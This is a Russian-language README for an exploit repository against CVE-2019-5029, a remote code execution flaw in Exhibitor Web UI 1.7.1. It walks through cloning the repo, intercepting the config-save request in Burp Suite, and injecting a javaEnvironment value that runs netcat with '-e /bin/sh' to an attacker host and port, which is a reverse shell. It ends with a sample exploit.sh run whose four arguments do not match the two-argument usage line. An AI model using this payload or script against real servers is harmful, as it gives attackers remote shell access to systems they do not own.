Exhibitor-RCE

RCE в Exhibitor Web Ui 1.7.1, CVE-2019-5029

Шаг 1:

$ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/

Шаг 2:

$ cd Exihibitor-RCE/

Шаг 3 (необязательно):

Возможно, вам потребуется отредактировать JSON-data payload в скрипте. Для этого просто перехватите запрос с помощью burpsuite при сохранении изменений на вкладке config в exihibitor и скопируйте его в команду curl в скрипте.

Обязательно измените javaEnvironment на следующее:

"javaEnvironment":"$(/bin/nc -e /bin/sh '$ATTACKER_HOST' '$ATTACKER_PORT' &)"

Шаг 4:

./exploit.sh <attacker_host> <attacker_port>

Пример:

$ ./exploit.sh 192.168.197.98 8080 192.168.45.187 8080